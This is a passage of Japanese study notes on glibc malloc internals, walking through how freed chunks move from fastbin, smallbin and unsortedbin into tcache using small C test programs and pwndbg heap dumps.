PREV_INUSE Addr: 0x4053f0 Size: 0x20c10 (with flag bits: 0x20c11) pwndbg> tcachebins tcachebins 0x20 [ 7]: 0x4053e0 —▸ 0x4053c0 —▸ 0x4053a0 —▸ 0x405380 —▸ 0x405360 —▸ 0x405340 —▸ 0x405320 ◂— 0 pwndbg> fastbins fastbins 0x20: 0x4052f0 —▸ 0x4052d0 —▸ 0x4052b0 —▸ 0x405290 ◂— 0
2回の malloc関数が実行された後(最後の calloc関数が実行される前)で確認します。tcache の先頭から使われていることが分かります。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (fastbins) | PREV_INUSE Addr: 0x405290 Size: 0x20 (with flag bits: 0x21) fd: 0x405 Free chunk (fastbins) | PREV_INUSE Addr: 0x4052b0 Size: 0x20 (with flag bits: 0x21) fd: 0x405695 Free chunk (fastbins) | PREV_INUSE Addr: 0x4052d0 Size: 0x20 (with flag bits: 0x21) fd: 0x4056b5 Free chunk (fastbins) | PREV_INUSE Addr: 0x4052f0 Size: 0x20 (with flag bits: 0x21) fd: 0x4056d5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405310 Size: 0x20 (with flag bits: 0x21) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405330 Size: 0x20 (with flag bits: 0x21) fd: 0x405725 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405350 Size: 0x20 (with flag bits: 0x21) fd: 0x405745 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405370 Size: 0x20 (with flag bits: 0x21) fd: 0x405765 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405390 Size: 0x20 (with flag bits: 0x21) fd: 0x405785 Allocated chunk | PREV_INUSE Addr: 0x4053b0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x4053f0 Size: 0x20c10 (with flag bits: 0x20c11) pwndbg> tcachebins tcachebins 0x20 [ 5]: 0x4053a0 —▸ 0x405380 —▸ 0x405360 —▸ 0x405340 —▸ 0x405320 ◂— 0 pwndbg> fastbins fastbins 0x20: 0x4052f0 —▸ 0x4052d0 —▸ 0x4052b0 —▸ 0x405290 ◂— 0
最後に、calloc関数を実行した後の状態を確認します。calloc関数なので、fastbin から空きチャンクを探してユーザに渡します。その後、tcache がいっぱになるまでチャンクを移動させます。tcache の先頭に移動していることが分かります。確認は完了です。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (fastbins) | PREV_INUSE Addr: 0x405290 Size: 0x20 (with flag bits: 0x21) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4052b0 Size: 0x20 (with flag bits: 0x21) fd: 0x4056e5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4052d0 Size: 0x20 (with flag bits: 0x21) fd: 0x4057a5 Allocated chunk | PREV_INUSE Addr: 0x4052f0 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405310 Size: 0x20 (with flag bits: 0x21) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405330 Size: 0x20 (with flag bits: 0x21) fd: 0x405725 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405350 Size: 0x20 (with flag bits: 0x21) fd: 0x405745 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405370 Size: 0x20 (with flag bits: 0x21) fd: 0x405765 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405390 Size: 0x20 (with flag bits: 0x21) fd: 0x405785 Allocated chunk | PREV_INUSE Addr: 0x4053b0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x4053f0 Size: 0x20c10 (with flag bits: 0x20c11) pwndbg> tcachebins tcachebins 0x20 [ 7]: 0x4052c0 —▸ 0x4052e0 —▸ 0x4053a0 —▸ 0x405380 —▸ 0x405360 —▸ 0x405340 —▸ 0x405320 ◂— 0 pwndbg> fastbins fastbins 0x20: 0x405290 ◂— 0
34.5.2:smallbinから確保
fastbin で確保が失敗した場合を含めて、要求サイズが 0x400(1,024)byte未満のサイズの場合は smallbin の末尾から確保を試みます。bin_at(2) から bin_at(63) で、32(0x20)byte から 1,008(0x3f0)byte のチャンクを管理できます。fastbin と同様に、同じサイズの解放済みチャンクがあれば、tcache に移動させます。smallbin についても、書籍が提供してくれているプログラム(small2tcache)で動作を確認していきます。
ソースコード(small2tcache.c)です。fastbin のときの fast2tcache.c とほぼ同じです。要求サイズが 0x88(136)byte に変わっていることと、malloc(0); と malloc(0xf8); が追加されています。後ろの章で解説がありますが、tcache と fastbin 以外の smallbin、largebin、unsortedbin は、隣接するチャンクが空いてる場合、併合しようとします。これを防ぐためだと思います。
#include <stdlib.h> int main(void){ void *p[4]; for(int i=0; i<sizeof(p)/sizeof(void*); i++){ p[i] = malloc(0x88); malloc(0); } for(int i=0; i<7; i++) free(calloc(1, 0x88)); for(int i=0; i<sizeof(p)/sizeof(void*); i++) free(p[i]); malloc(0xf8); for(int i=0; i<2; i++) malloc(0x88); calloc(1, 0x88); }
では、実際に動かしていきます。1つ目の malloc関数が実行された直後、malloc(0) が実行される前の状態です。fastbin のときと同じような感じです。
$ gdb -q small2tcache pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x400000 0x401000 r--p 1000 0 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/small2tcache 0x401000 0x402000 r-xp 1000 1000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/small2tcache 0x402000 0x403000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/small2tcache 0x403000 0x404000 r--p 1000 2000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/small2tcache 0x404000 0x405000 rw-p 1000 3000 /home/user/svn/experiment/shokai_security_contest/files/pwnable/05_heap/small2tcache 0x405000 0x426000 rw-p 21000 0 [heap] 0x7ffff7dc6000 0x7ffff7dc9000 rw-p 3000 0 [anon_7ffff7dc6] 0x7ffff7dc9000 0x7ffff7def000 r--p 26000 0 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7def000 0x7ffff7f44000 r-xp 155000 26000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f44000 0x7ffff7f97000 r--p 53000 17b000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f97000 0x7ffff7f9b000 r--p 4000 1ce000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f9b000 0x7ffff7f9d000 rw-p 2000 1d2000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7ffff7f9d000 0x7ffff7faa000 rw-p d000 0 [anon_7ffff7f9d] 0x7ffff7fc3000 0x7ffff7fc5000 rw-p 2000 0 [anon_7ffff7fc3] 0x7ffff7fc5000 0x7ffff7fc9000 r--p 4000 0 [vvar] 0x7ffff7fc9000 0x7ffff7fcb000 r-xp 2000 0 [vdso] 0x7ffff7fcb000 0x7ffff7fcc000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7fcc000 0x7ffff7ff1000 r-xp 25000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 26000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 30000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 32000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack] pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) Top chunk | PREV_INUSE Addr: 0x405320 Size: 0x20ce0 (with flag bits: 0x20ce1)
次に、malloc(0) を実行した直後の状態です。サイズに 0 を指定した場合でも、最小サイズの 32byte が確保されているようです。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405320 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x405340 Size: 0x20cc0 (with flag bits: 0x20cc1)
p配列に、4回の malloc関数を実行する for文が完了した直後の状態です。0x90 のサイズのチャンクと、0x20 のサイズのチャンクが交互に確保されています。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405320 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x405340 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4053f0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405480 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4054a0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405530 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x405550 Size: 0x20ab0 (with flag bits: 0x20ab1)
malloc関数の実行と free関数の実行が 7回繰り返され、p配列の 4個のメモリも解放された後の malloc(0xf8) の実行直前の状態です。tcache は想定通りですが、p配列のところは、smallbin ではなく、unsortedbin に管理されているようです。この理由は後ろの章で解説されていると思うので、ここでは追及しません。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bcc0 bk: 0x405340 Allocated chunk Addr: 0x405320 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405340 Size: 0x90 (with flag bits: 0x91) fd: 0x405290 bk: 0x4053f0 Allocated chunk Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x4053f0 Size: 0x90 (with flag bits: 0x91) fd: 0x405340 bk: 0x4054a0 Allocated chunk Addr: 0x405480 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x4054a0 Size: 0x90 (with flag bits: 0x91) fd: 0x4053f0 bk: 0x7ffff7f9bcc0 Allocated chunk Addr: 0x405530 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405550 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4055e0 Size: 0x90 (with flag bits: 0x91) fd: 0x405165 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405670 Size: 0x90 (with flag bits: 0x91) fd: 0x4051f5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405700 Size: 0x90 (with flag bits: 0x91) fd: 0x405285 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405790 Size: 0x90 (with flag bits: 0x91) fd: 0x405315 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405820 Size: 0x90 (with flag bits: 0x91) fd: 0x4053a5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4058b0 Size: 0x90 (with flag bits: 0x91) fd: 0x405c35 Top chunk | PREV_INUSE Addr: 0x405940 Size: 0x206c0 (with flag bits: 0x206c1)
malloc(0xf8) の実行直後の状態です。unsortedbin に管理されていたチャンクが smallbin の管理に変わっています。これが、malloc(0xf8) を追加している理由なんだと思います。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (smallbins) | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bd40 bk: 0x405340 Allocated chunk Addr: 0x405320 Size: 0x20 (with flag bits: 0x20) Free chunk (smallbins) | PREV_INUSE Addr: 0x405340 Size: 0x90 (with flag bits: 0x91) fd: 0x405290 bk: 0x4053f0 Allocated chunk Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x20) Free chunk (smallbins) | PREV_INUSE Addr: 0x4053f0 Size: 0x90 (with flag bits: 0x91) fd: 0x405340 bk: 0x4054a0 Allocated chunk Addr: 0x405480 Size: 0x20 (with flag bits: 0x20) Free chunk (smallbins) | PREV_INUSE Addr: 0x4054a0 Size: 0x90 (with flag bits: 0x91) fd: 0x4053f0 bk: 0x7ffff7f9bd40 Allocated chunk Addr: 0x405530 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405550 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4055e0 Size: 0x90 (with flag bits: 0x91) fd: 0x405165 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405670 Size: 0x90 (with flag bits: 0x91) fd: 0x4051f5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405700 Size: 0x90 (with flag bits: 0x91) fd: 0x405285 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405790 Size: 0x90 (with flag bits: 0x91) fd: 0x405315 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405820 Size: 0x90 (with flag bits: 0x91) fd: 0x4053a5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4058b0 Size: 0x90 (with flag bits: 0x91) fd: 0x405c35 Allocated chunk | PREV_INUSE Addr: 0x405940 Size: 0x100 (with flag bits: 0x101) Top chunk | PREV_INUSE Addr: 0x405a40 Size: 0x205c0 (with flag bits: 0x205c1)
2回の malloc関数を実行し、calloc関数の直前の状態です。tcache のチャンクが 2個使われた状態です。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (smallbins) | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bd40 bk: 0x405340 Allocated chunk Addr: 0x405320 Size: 0x20 (with flag bits: 0x20) Free chunk (smallbins) | PREV_INUSE Addr: 0x405340 Size: 0x90 (with flag bits: 0x91) fd: 0x405290 bk: 0x4053f0 Allocated chunk Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x20) Free chunk (smallbins) | PREV_INUSE Addr: 0x4053f0 Size: 0x90 (with flag bits: 0x91) fd: 0x405340 bk: 0x4054a0 Allocated chunk Addr: 0x405480 Size: 0x20 (with flag bits: 0x20) Free chunk (smallbins) | PREV_INUSE Addr: 0x4054a0 Size: 0x90 (with flag bits: 0x91) fd: 0x4053f0 bk: 0x7ffff7f9bd40 Allocated chunk Addr: 0x405530 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405550 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4055e0 Size: 0x90 (with flag bits: 0x91) fd: 0x405165 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405670 Size: 0x90 (with flag bits: 0x91) fd: 0x4051f5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405700 Size: 0x90 (with flag bits: 0x91) fd: 0x405285 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405790 Size: 0x90 (with flag bits: 0x91) fd: 0x405315 Allocated chunk | PREV_INUSE Addr: 0x405820 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x4058b0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405940 Size: 0x100 (with flag bits: 0x101) Top chunk | PREV_INUSE Addr: 0x405a40 Size: 0x205c0 (with flag bits: 0x205c1) pwndbg> tcachebins tcachebins 0x90 [ 5]: 0x4057a0 —▸ 0x405710 —▸ 0x405680 —▸ 0x4055f0 —▸ 0x405560 ◂— 0 pwndbg> smallbins smallbins 0x90: 0x4054a0 —▸ 0x4053f0 —▸ 0x405340 —▸ 0x405290 —▸ 0x7ffff7f9bd40 (main_arena+224) ◂— 0x4054a0
calloc関数実行後の状態です。calloc関数は tcache のチャンクを使わないので、smallbin のチャンクが使われています。fastbin と同様に、同じサイズの smallbin の空きチャンクが tcache に移動しています。確認は完了です。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405320 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405340 Size: 0x90 (with flag bits: 0x91) fd: 0x4053a5 Allocated chunk | PREV_INUSE Addr: 0x4053d0 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x4053f0 Size: 0x90 (with flag bits: 0x91) fd: 0x405755 Allocated chunk | PREV_INUSE Addr: 0x405480 Size: 0x20 (with flag bits: 0x21) Free chunk (smallbins) | PREV_INUSE Addr: 0x4054a0 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bd40 bk: 0x7ffff7f9bd40 Allocated chunk Addr: 0x405530 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405550 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4055e0 Size: 0x90 (with flag bits: 0x91) fd: 0x405165 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405670 Size: 0x90 (with flag bits: 0x91) fd: 0x4051f5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405700 Size: 0x90 (with flag bits: 0x91) fd: 0x405285 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405790 Size: 0x90 (with flag bits: 0x91) fd: 0x405315 Allocated chunk | PREV_INUSE Addr: 0x405820 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x4058b0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405940 Size: 0x100 (with flag bits: 0x101) Top chunk | PREV_INUSE Addr: 0x405a40 Size: 0x205c0 (with flag bits: 0x205c1) pwndbg> tcachebins tcachebins 0x90 [ 7]: 0x405400 —▸ 0x405350 —▸ 0x4057a0 —▸ 0x405710 —▸ 0x405680 —▸ 0x4055f0 —▸ 0x405560 ◂— 0 pwndbg> smallbins smallbins 0x90: 0x4054a0 —▸ 0x7ffff7f9bd40 (main_arena+224) ◂— 0x4054a0
34.5.3:unsortedbinから確保&繋ぎ替え
unsortedbin から解放済みチャンクを確保する場合ですが、わりと複雑です。
基本的な流れとしては、unsortedbin の末尾から探索が開始され、要求サイズのチャンクが見つかると、いったん、tcache に移動させておきます。要求サイズとは異なるサイズのチャンクは、smallbin や largebin に移動されます。これを繰り返し、unsortedbin の全てのチャンクについて処理がされます。
ただし、要求サイズのチャンクが見つかったとき、tcache がいっぱいだった場合や、そもそも、要求サイズが tcache で管理できないサイズ(1,040byte超)の場合は、unsortedbin の探索を停止し、ユーザに返して終了します。
ソースコード(small2tcache.c)です。tcache がいっぱいの場合に使われる管理機構(管理されるリスト)をコメントとして追記しました。tcache は、最大で 0x410(1,040)byte のチャンクを管理できますので、0x418 は largebin で管理されます。
#include <stdio.h> #include <stdlib.h> int main(void){ void *p[5]; p[0] = malloc(0x88); malloc(0); // smallbin と fastbin p[1] = malloc(0xf8); malloc(0); // smallbin と fastbin p[2] = malloc(0x418); malloc(0); // largebin と fastbin p[3] = malloc(0x88); malloc(0); // smallbin と fastbin p[4] = malloc(0x88); malloc(0); // smallbin と fastbin for(int i=0; i<7; i++){ free(calloc(1, 0x88)); // smallbin free(calloc(1, 0xf8)); // smallbin } for(int i=0; i<sizeof(p)/sizeof(unsigned long*); i++) free(p[i]); malloc(0x88); // smallbin malloc(0xf8); // smallbin calloc(1, 0x88); // smallbin }
では、実際に動作を確認していきます。まずは、for文を実行する直前の 10回の malloc関数を実行した状態です。特におかしな点はありません。
$ gdb -q unsorted2tcache pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405320 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x405340 Size: 0x100 (with flag bits: 0x101) Allocated chunk | PREV_INUSE Addr: 0x405440 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x405460 Size: 0x420 (with flag bits: 0x421) Allocated chunk | PREV_INUSE Addr: 0x405880 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4058a0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405930 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x405950 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x4059e0 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x405a00 Size: 0x20600 (with flag bits: 0x20601)
0x88 と 0xf8 の calloc関数と free関数を実行する for文が完了した状態です。それぞれのサイズの tcache が全て埋まっています。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405320 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x405340 Size: 0x100 (with flag bits: 0x101) Allocated chunk | PREV_INUSE Addr: 0x405440 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x405460 Size: 0x420 (with flag bits: 0x421) Allocated chunk | PREV_INUSE Addr: 0x405880 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4058a0 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x405930 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x405950 Size: 0x90 (with flag bits: 0x91) Allocated chunk | PREV_INUSE Addr: 0x4059e0 Size: 0x20 (with flag bits: 0x21) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a00 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a90 Size: 0x100 (with flag bits: 0x101) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405b90 Size: 0x90 (with flag bits: 0x91) fd: 0x405e15 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405c20 Size: 0x100 (with flag bits: 0x101) fd: 0x405ea5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405d20 Size: 0x90 (with flag bits: 0x91) fd: 0x405fa5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405db0 Size: 0x100 (with flag bits: 0x101) fd: 0x405835 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405eb0 Size: 0x90 (with flag bits: 0x91) fd: 0x405935 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405f40 Size: 0x100 (with flag bits: 0x101) fd: 0x4059c5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406040 Size: 0x90 (with flag bits: 0x91) fd: 0x405ac6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4060d0 Size: 0x100 (with flag bits: 0x101) fd: 0x405b56 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4061d0 Size: 0x90 (with flag bits: 0x91) fd: 0x406456 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406260 Size: 0x100 (with flag bits: 0x101) fd: 0x4064e6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406360 Size: 0x90 (with flag bits: 0x91) fd: 0x4065e6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4063f0 Size: 0x100 (with flag bits: 0x101) fd: 0x406676 Top chunk | PREV_INUSE Addr: 0x4064f0 Size: 0x1fb10 (with flag bits: 0x1fb11) pwndbg> tcachebins tcachebins 0x90 [ 7]: 0x406370 —▸ 0x4061e0 —▸ 0x406050 —▸ 0x405ec0 —▸ 0x405d30 —▸ 0x405ba0 —▸ 0x405a10 ◂— 0 0x100 [ 7]: 0x406400 —▸ 0x406270 —▸ 0x4060e0 —▸ 0x405f50 —▸ 0x405dc0 —▸ 0x405c30 —▸ 0x405aa0 ◂— 0
p配列のチャンクを全て解放する for文を実行した直後の状態です。smallbin のときと同様に、解放されたチャンクは、いったん、unsortedbin で管理されています。
pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x290 (with flag bits: 0x291) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405290 Size: 0x90 (with flag bits: 0x91) fd: 0x7ffff7f9bcc0 bk: 0x405340 Allocated chunk Addr: 0x405320 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405340 Size: 0x100 (with flag bits: 0x101) fd: 0x405290 bk: 0x405460 Allocated chunk Addr: 0x405440 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405460 Size: 0x420 (with flag bits: 0x421) fd: 0x405340 bk: 0x4058a0 Allocated chunk Addr: 0x405880 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x4058a0 Size: 0x90 (with flag bits: 0x91) fd: 0x405460 bk: 0x405950 Allocated chunk Addr: 0x405930 Size: 0x20 (with flag bits: 0x20) Free chunk (unsortedbin) | PREV_INUSE Addr: 0x405950 Size: 0x90 (with flag bits: 0x91) fd: 0x4058a0 bk: 0x7ffff7f9bcc0 Allocated chunk Addr: 0x4059e0 Size: 0x20 (with flag bits: 0x20) Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a00 Size: 0x90 (with flag bits: 0x91) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405a90 Size: 0x100 (with flag bits: 0x101) fd: 0x405 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405b90 Size: 0x90 (with flag bits: 0x91) fd: 0x405e15 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405c20 Size: 0x100 (with flag bits: 0x101) fd: 0x405ea5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405d20 Size: 0x90 (with flag bits: 0x91) fd: 0x405fa5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405db0 Size: 0x100 (with flag bits: 0x101) fd: 0x405835 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405eb0 Size: 0x90 (with flag bits: 0x91) fd: 0x405935 Free chunk (tcachebins) | PREV_INUSE Addr: 0x405f40 Size: 0x100 (with flag bits: 0x101) fd: 0x4059c5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406040 Size: 0x90 (with flag bits: 0x91) fd: 0x405ac6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4060d0 Size: 0x100 (with flag bits: 0x101) fd: 0x405b56 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4061d0 Size: 0x90 (with flag bits: 0x91) fd: 0x406456 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406260 Size: 0x100 (with flag bits: 0x101) fd: 0x4064e6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x406360 Size: 0x90 (with flag bits: 0x91) fd: 0x4065e6 Free chunk (tcachebins) | PREV_INUSE Addr: 0x4063f0 Size: 0x100 (with flag bits: 0x101) fd: 0x406676 Top chunk | PREV_INUSE Addr: 0x4064f0 Size: 0x1fb10 (with flag bits: 0x1fb11) pwndbg> tcachebins tcachebins 0x90 [ 7]: 0x406370 —▸ 0x4061e0 —▸ 0x406050 —▸ 0x405ec0 —▸ 0x405d30 —▸ 0x405ba0 —▸ 0x405a10 ◂— 0 0x100 [ 7]: 0x406400 —▸ 0x406270 —▸ 0x4060e0 —▸ 0x405f50 —▸ 0x405dc0 —▸ 0x405c30 —▸ 0x405aa0 ◂— 0 pwndbg> unsortedbin unsortedbin all: 0x405950 —▸ 0x4058a0 —▸ 0x405460 —▸ 0x405340 —▸ 0x405290 —▸ 0x7ffff7f9bcc0 (main_arena+96) ◂— 0x405950 /* 'PY@' */
0x88 の malloc関数を実行した直後の状態です。smallbin のときは、unsortedbin から smallbin への移動が行われていましたが、今回は、unsortedbin のままです。違いは、0x88 が管理される tcache がいっぱいかどうかです。smallbin のときは tcache に空きがあったので、最後まで unsortedbin の探索が行われましたが、今回は、0x88 が管理される tcache がいっぱいであったため、探索が停止され、tcache のチャンクをユーザに返して終了しました。
